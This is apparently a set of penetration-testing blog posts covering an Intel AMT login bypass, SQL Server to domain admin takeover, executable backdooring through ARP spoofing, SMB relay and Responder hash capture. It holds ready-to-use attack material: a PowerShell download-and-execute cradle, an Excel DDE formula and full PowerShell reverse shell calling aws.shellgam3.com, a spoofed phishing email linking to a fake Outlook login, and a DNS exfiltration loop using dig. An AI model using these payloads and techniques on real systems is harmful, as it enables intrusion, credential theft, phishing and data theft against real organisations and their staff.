Exploiting the Intel AMT Vulnerability with Burp Suite

On a somewhat recent engagement I discovered a number of open ports that I was not immediately familiar with. When this happens, I’ve found that it (almost) always pays to explore further… We can see that this range of ports is open on a number of hosts on this particular subnet. Additionally, as it turned out, there were many other hosts on other subnets also listening within this port range as well.


A more in-depth, nmap service scan provides us with more additional information about the service.

capture 2

A quick google search leads us to: https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr

Based on the httpd version number, all indications point to this host being vulnerable to CVE-2017-5689. Another nmap scan can validate this for us:


Now that we know our host is actually vulnerable the next step is figuring out how to exploit it. If you notice above, we can see that it says “…can be exploited by performing digest authentication and *sending a blank response*…”

Armed with this information, we can fire up Burp Suite and attempt to exploit the vulnerability. However, first, we need to hit the login page on our host:

capture 4

With Burp Suite now open AND “intercept” turned on (see below), we can input “admin” into the username field and click “ok”. We should see a response in the RAW data (see below)

capture 5

Next, we need to modify the “response” data and eliminate everything so that it’s blank:

capture 6

When we click the “Forward” button in Burp Suite (see bottom right of below screen shot), it should send our blank response back to the host and we should now be logged in – as seen here:

capture 7

Note: every time you switch between menu items within the AMT management console, you will need to blank out the digest response and “forward” the blank response back to the host – otherwise, you will be unable to navigate throughout the console. As a result, you’ll need to keep Burp Suite running side by site or easily accessible in the background.


SQL Server To Domain Takeover

On a recent engagement, I was struggling to escalate my low level privileges to something higher. To their credit, the organization was doing a lot of the right things in terms of security best practices. For example, LLMNR and NBT-NS poisoning was not effective… so relaying NetNTLMv2 hashes was not a viable options. Right out the gate, this rendered some of “goto” tools (like Responder, smbrelayx, web_delivery module, etc) ineffective. I was able to eventually relay a couple of hashes; however,  I came to realize that no users were local administrators on their workstations and all of the workstations were incredibly locked down. Additionally, ARP spoofing was also mostly ineffective and I suspect they had controls in place to prevent ARP cache poisoning.

That said, I was ultimately able to crack the NTLMv2 challenge/response hash of an end user who had a very weak password (“Summer2017”). This was my first foothold within the environment. However, given how locked down the environment was, I could not do much with my low level access. I ultimately resorted to enumerating and documenting all areas of the environment to which this account had some type of access. This took a while. I sprayed that user’s domain credentials across every known subnet and ultimately came to the conclusion I wasn’t going to get far by trying to target workstations…. I moved on to SMB enumeration of servers.

Every time I came across a server that had network shares, I would quickly peruse the list of files/folders and see if anything stood out as suspicious or helpful. This process eventually led me to a server with a single share. See below:


This user obviously had access and so I quickly browsed the list of files in this share and found a file named ********.ini (unfortunately, the share name and the file name would give away the name of the software vendor). This file contained a database connection string – along with a plaintext username and password.


Armed with this information, it was apparent that this server was mostly likely running MS SQL. Additionally, even with these credentials, there was still no guarantee that 1) the credentials were valid, and 2) (if they were) that the database access would be helpful with escalation of our privileges. Either way, I proceeded to nmap this server to get more information.


The server appeared to be an application server running MS SQL. The next step was to check to see if the discovered credentials were, in fact, valid:


With the confirmation that our credentials are valid, I surmised that I had two options: 1) use our credentials to dump tables in the database and look for sensitive information and/or 2) try to use our credentials to obtain a reverse shell on the box. Given the desire for escalated privileges, I opted to immediately try to get a shell on the box – which worked.

capture 7

As seen above, we have SYSTEM privileges on this particular server….but I really need/want domain administrator privileges so that I can login to other critical servers and move freely throughout the environment. A quick look at the processes on this boxes, shows that a domain administrator is logged into this box and has mmc.exe open:

capture6 Upon migrating to this process, we are effectively able to issue commands against Active Directory as a domain administrator. At this point, it made sense to drop into a cmd shell and create a new account called “sys_admin” and immediately move this account into the “domain admins” group. Granted, there are more “stealthy” ways to take over the domain; however, part of the objective with this engagement was to determine how quickly internal teams were able to detect something like this. (they did not)

capture 8

From here, with our  new privileged domain account, we were able to quickly login to a domain controller and dump Active Directory password hashes, passwords from memory on other boxes, and exfiltrate sensitive data.

Given what I know about the organization and software vendor, I suspect the software vendor deploys this solution the same way to all of their clients. While the password in the database connection string is probably going to be different, documentation indicates the username is always the same. Additionally, it would seem that xp_cmdshell is enabled, which is what allowed me to get my meterpreter shell. While I don’t know a lot about the software, I would guess that this could probably be disabled.

Backdooring EXEs (on the fly) over HTTP/S on the LAN

Scenario: During an engagement, we are plugged directly into the client’s LAN with only basic network access. On this LAN there are a number of workstations – for example.

Objective: Get a shell on a host.

Required Items:

First, we need to create a executable that is not (hopefully) going to be picked up antivirus. Obviously, this is easier said than done; however, we will use Veil-Evasion 3.0 on our Kali box for this task. See below:


We need to remember the location of our executable (listed above in green) because we will need that file in a minute. (/usr/share/veil-output/compiled/google_updater.exe). Now would also be a good time to run/test your executable on a few systems to make sure that it’s not detected by the antivirus software on the client network (if known). In this instance , this particular executable is not detected by Windows Defender:

windows defender

Assuming BDF Proxy is properly installed (not covered here), we need to adjust the bdfproxy.cfg file to read as such after installation:


There are lots of other options for different architecture types (and other settings in general). I’m only showing x86 inside of one particular scenario. You may need to adjust the config file based on your needs/wants.

We can now start up BDF Proxy:


We also need to add the following two iptables rules on our Kali box:

iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 443 -j REDIRECT –to-port 8080


After we MiTM our victim (using arp spoofing) the iptables rules will effectively proxy tcp/80 and tcp/443 traffic over to BDF Proxy – which will handle the backdooring of the executable being downloaded.

Before we MiTM our victim (we’ll save that for the last step), we need to get our meterpreter handler setup. This is being done on a public AWS instance with metasploit-framework installed; however, one could do easily do host metasploit internally on the client’s LAN as well. Just remember that the LHOST specified in Veil (screenshot #4) is where our payload will call back to. In our case, we specified: aws.shellgam3.com. If your trying to catch shells across the Internet, remember you probably need to adjust NAT rules on your public side as well. In this case, we had to add a NAT rule for tcp/4444 to be directed/allowed to our AWS box.

We will run the following command to fire up metasploit framework and our handler:

msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST; set LPORT 4444; set exitonsession false; exploit -j”


With our handler running, we can now move forward with arp poisoning our victim on the LAN. Once the MiTM is in place, any executable downloaded by our victim will be replaced with our executable – yet the executable will retain the same name of the file being downloaded.

We’ll need to open up two different terminal windows and run the following commands to setup the MiTM: In this case = victim IP and = router IP:

arpspoof -i eth0 -t

arpspoof -i eth0 -t

Now, when our victim downloads an executable, most everything should look normal:

download of exe.PNG

However, on the backend (on our Kali box), we should notice a few things happening. In BDF Proxy, for example, we see that the victim’s executable is being replaced with our executable:


And if/when the victim runs the executable, we should (hopefully) have our meterpreter shell on our C2 box:


It should be noted that when our victim attempts to download an executable over https, they *will* receive a nasty certificate error. However, as long as the website does not have HSTS enabled, then the victim may opt to click past the certificate warning and download their file.

Relaying NetNTLMv2 hashes into a meterpreter shell

Similar to the previous post, in this scenario we also have limited physical access on a client’s network. We have been provided with an empty cubicle and only the ability to plug our box into the network. We have been granted no logical access and the goal is to see if take our limited physical access, gain an initial foothold within the network, and ultimately attempt to escalate our privileges throughout the environment.

The tools we’ll be using are:

With an SMB relay attack, the attacker inserts himself into the middle of the NTLM challenge/response handshake with the intent of taking that authentication and “relaying” it to another host on the same network. The attacker will choose a target on the LAN and then wait for a workstation on the network to authenticate to the attacker machine. When a connection is made, the attacker passes the authentication attempt (the NTLM handshake) to the target/victim. This is the relay. The target generates a challenge and sends it back to the attacker. The attacker sends the challenge back to the original system. This is the response. That system encrypts the hash with the correct password hash and sends it to the attacker. The attacker passes the correctly encrypted response back to his target and successfully authenticates. This process is shown below:


First we need to do some reconnaissance and discover some hosts on our subnet. This can be done with nbtscan or other tools (like fping or nmap). Our target will be


Before we attempt to pass NetNTLMv2 hashes around the network, we first need to setup our meterpreter listener and chose an exploit and payload in Metasploit.


In short, we need populate many of the “options”. Most of this should be self explanatory:

  • use exploit/multi/script/web_delivery
  • set TARGET 2 (this is to indicate the powershell payload)
  • set URIPATH /
  • set PAYLOAD windows/meterpreter/reverse_tcp
  • set LHOST <local kali ip> (you can snag this with ifconfig)
  • exploit


Now that our listener is running and waiting to receive connections, we would normally need our victim(s) to run the following command on their workstation: powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString(‘;)

If the victim were to do this, we would have a meterpreter shell to play with. Since this is not very likely to happen without some form of social engineering, we want to leverage our other two tools (Responder and SMBRelayX) to handle SMB relaying and execution of our payload on our target/victim machine.

On our Kali box, we run the following command: ./smbrelayx.py -h -c “powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString(‘;)”


SMBRelayX will help us by establishing a malicious SMB server so that we can relay network authentication attempts from legitimate users to our target – which is specified with the “-h” parameter. We can also see our payload defined above as well.

Secondly, we can now fire up Responder. Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) are two components of nearly all Microsoft Windows networks. LLMNR and NBT-NS allow Windows operating systems on the same subnet help each other identify hosts if/when DNS resolution fails. If DNS resolution fails for a particular host, that computer will typically attempt to query other machines on the LAN for the correct address via LLMNR or NBT-NS.


The errors are normal. SMBRelayX is already listening on ports 445 and 80 – so Responder cannot bind to those ports. For this exercise to be effective, SMBRelayX needs to be started before Responder so that it can utilize 445 and 80.

After some time, we should (hopefully) see some incoming connections in both the Responder window and in our SMBRelayX window. See below:

Responder Window:


SMBRelayX Window:


When we see start to see this type of activity, it should be an indicator that we also have a shell back in Metasploit…which we do:


Breaching a Windows environment by capturing and cracking NTLM challenge/response hashes

In this scenario we have limited physical access on a client’s network. We have been provided with an empty cubicle and only the ability to plug into the network. We have been granted no logical access and the goal is to see if take our limited physical access, gain an initial foothold within the network, and ultimately escalate our privileges throughout the environment.

The tools we’ll be using are:

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) are two components of nearly all Microsoft Windows networks. LLMNR and NBT-NS allow Windows operating systems on the same subnet help each other identify hosts if/when DNS resolution fails. If DNS resolution fails for a particular host, that computer will typically attempt to query other machines on the LAN for the correct address via LLMNR or NBT-NS.

This default behavior can be leveraged into a foothold for an attacker within the network. An attacker can impersonate the servers/services being requested by other workstations and convince the workstation to provide authentication information to it – instead of the actual server. Consider the following example:

  1. A workstation attempts to access the UNC path \\SERVER01, but mistakenly types in \\SRVER01.
  2. That workstation’s DNS server(s) responds to the query saying that it doesn’t know any host by that name.
  3. The workstation then query’s all other devices on the LAN asking if they know of the location of \\SRVER01
  4. An attacker responds to the workstation, informing it that it is SRVER01
  5. The workstation then goes through the typical challenge/response procedure to validate the domain user’s credentials. During this step, the attacker able to capture the domain user’s NTLMv2 hash.
  6. The attacker can now attempt to crack the hash to discover the domain user’s password in order to gain additional access to the environment.


To start, we need our Kali Linux box to exist on the same subnet as all the other workstations. After plugging into the network, can attempt to discover hosts on our subnet by looking at the IP address assigned to us via DHCP:


Using the above information, we can scan our subnet for workstations with the following command: nbtscan


This should give us enough information and insight about the network to fire up Responder and attempt to capture NTLM challenge/response hashes. If our nbtscan returned no (or limited) results, running Responder on that particular subnet would probably be ineffective.

Responder is a very powerful tool and it has the potential to break stuff on a network. I don’t plan to explain all of the capabilities and nuances of Responder – so use it at your own risk. An effective command for capturing hashes within a Windows network is: ./Responder.py -I eth0 -wrdfbF

After letting Responder run for a few minutes, we are able to capture the following Challenge/Response handshake hash when a host on the network attempts to access the below network resource:


We are then able to take this captured hash and feed it into John The Ripper and attempt to crack it against a dictionary file of known passwords. In this particular instance, we’re using the Rockyou file. This is seen below:


We can see  (above) that this particular domain user has a very weak password that was able to be cracked within 23 seconds. This was/is an actual domain user account within a production environment. With this information, we are now able to use other tools to enumerate where this user has privileges on the network and further escalate our privileges within the environment.

This topic will be covered in a future post.

Shadowbrokers Data Dump

Below is a listing of all of the IP addresses referenced within the Shadowbrokers latest dump. The files have also been uploaded to http://aws.shellgam3.com/files/shadowbrokers. The extraction password is “payus”.

Given how the data was organized into folders, the following command was used to extract the relevant IP information:

root@WINDOWS10-PC:/media/sf_Shared/nsa/TrickOrTreat/trickortreat# ls -R | grep -o ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’



Reverse Shell via Excel (xlsx) One-Liner

Saving the below one-liner within an .xlsx file will pop a reverse shell on the target computer – at least after they click through the two warnings. I’ve been looking for an alternative method to using macro enabled Excel documents for delivering the payload because they’re increasingly detected and blocked by spam filters.
Excel one-liner:
=cmd|’/C powershell IEX(wget http://aws.shellgam3.com/files/test.ps1)’!A0
Add-Type -Name win -MemberDefinition ‘[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int state);’ -Namespace native
[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle,0)
Invoke-Item “C:\Program Files\Microsoft Office\Office15\excel.exe”
Set-Location c:\windows\system32
$client = New-Object System.Net.Sockets.TCPClient(“”,8443);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
On my AWS instance, I have a simple listener running:
nc -lvp 8443
Obviously, we could get a bit more fancy with a meterpreter shell but I’m just keeping it simple for this POC.

Subdomain brute forcing using negative matching with grep

While doing some subdomain brute forcing/enumeration on a target today, the target domain in question had wildcard DNS resolution enabled. So, when a query was made to determine if the subdomain example.domain.com was in existence, the response provided was “yes”. This is not ideal because that subdomain does not actually exist. Our goal with DNS subdomain enumeration is to identify potential entry points into a network and then identify running services that might be exploitable.

To work around the issue with DNS wildcard resolution, consider using negative matching with grep in order to filter out all of the wildcard resolution responses – which are basically junk to us. The following command provides an example of subdomain enumeration while also combing negative matching with grep:

dnsrecon -d domain.com -D /wordlists/deepmagic.com_top50kprefixes.txt -t brt -f -n –iw | grep -v

Email Spoofing Via Telnet with HTML Formatting

ubuntu@ip-172-31-18-189:/var/www/html/owa-2013$ telnet cluster6.us.messagelabs.com 25
Connected to cluster6.us.messagelabs.com.
Escape character is ‘^]’.
220 server-9.tower-220.messagelabs.com ESMTP
helo teklinks.com
250 server-9.tower-220.messagelabs.com
mail from:support@teklinks.com
250 OK
rcpt to:allemployees@teklinks.com
250 OK
354 go ahead
From: Internal Support<nickvangilder@icloud.com>
To: All Employees<allemployees@teklinks.com>
Subject: Email Services
Mime-Version: 1.0;
Content-Type: text/html; charset=”ISO-8859-1″;
Content-Transfer-Encoding: 7bit


Due to changes made to our email systems, please confirm your ability to login to the Outlook Web Access portal at: <a href=”http://aws.shellgam3.com/owa-2013“>https://webmail.teklinks.com/owa</a>

221 server-9.tower-220.messagelabs.com
Connection closed by foreign host.


Post Exploitation: DNS Data Exfiltration

If you have compromised a Linux webserver (for example) and wanted to exfiltrate data from said server, consider the below method using DNS requests:

First, before we begin, we need to have a place to send our the data that we need to exfil. For that, we’re using a public server running BIND.  If you need to snag a copy of BIND:

sudo apt install bind9

The service will probably start automagically after installation. Also, because our server is behind NAT, we had to setup a port forwarding rule back to our internal DNS server on port 53.

The goal is to exfil a below GIF image from our already compromised webserver:


First, we need to hex encode the image using the below command:

xxd -p linux.gif > linux.gif.hex


Now that the file is encoded (as seen above), we need make sure we’re able to capture the DNS requests on the receiving end.  On our DNS server, we can fire up a tcpdump probe:

sudo tcpdump -i eth0 -s0 -w capture1.pcap port 53


Back on our compromised host, we can begin to exil the file using the below command:

for b in `cat linux.gif.hex`; do dig @aws.shellgam3.com $b.shellgam3.com; done

The exfiltration process as seen on the compromised host:


On our DNS server, we can run the following command to make sure we have captured data:

tcpdump -n -r capture1.pcap | grep shellgam3.com

This should output hundreds of lines of text that look similar to the below:


Before this information can be reverse the hex encoding, we first need to strip out everything from our PCAP file and return it back to the original hex file.  We can use the below one-liner to achieve this:

tcpdump -r capture1.pcap -n | grep shellgam3.com | cut -f9 -d’ ‘ | cut -f1 -d’.’ | uniq > linux.gif.hex


Finally, we need to reverse the hex encoding to return our file to it’s original state:


After copying the file to /var/www/html/files, we can use our web browser to make sure the file has been returned to it’s original state and viewable:


Below is the Wireshark output that was captured on the compromised host side while the exfil was taking place: